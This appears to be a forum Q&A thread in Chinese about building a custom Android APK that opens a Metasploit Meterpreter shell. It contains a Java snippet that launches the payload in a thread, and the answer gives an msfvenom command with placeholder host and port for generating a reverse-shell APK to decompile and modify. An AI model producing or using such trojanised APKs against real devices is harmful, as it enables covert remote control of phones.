android: 自定义 metasploit APK答案

【问题标题】：android: custom metasploit apkandroid: 自定义 metasploit APK
【发布时间】：2015-05-26 19:15:57
【问题描述】：

我尝试创建一个自定义的 android apk 以在 metasploit 上打开一个 Meterpreter shell 会话，但它不起作用。

它连接到 metasploit 处理程序，但我没有meterpreter shell。

public static void startAsync() {
        new Thread() {
            @Override
            public void run() {
                // Execute the payload
                Payload.main(null);
            }
        }.start();
    }

.start()

不在代码中。

有人有完整的工作代码吗？

Original Code

【问题讨论】：

我也在努力解决这个问题。Customizing Metasploit Java Payloads for Android APK Deployment 这对我有帮助，但我遇到了一个错误。

标签： apk metasploit

【解决方案1】：

您可以使用msfvenom 创建一个应用程序来创建基础，然后使用 apktool 之类的程序对其进行反编译并对该应用程序进行更改

msfvenom -p android/meterpreter/Payload_Type LHOST=IP_Address LPORT=Incoming_Port -o meterpreter.apk

【讨论】：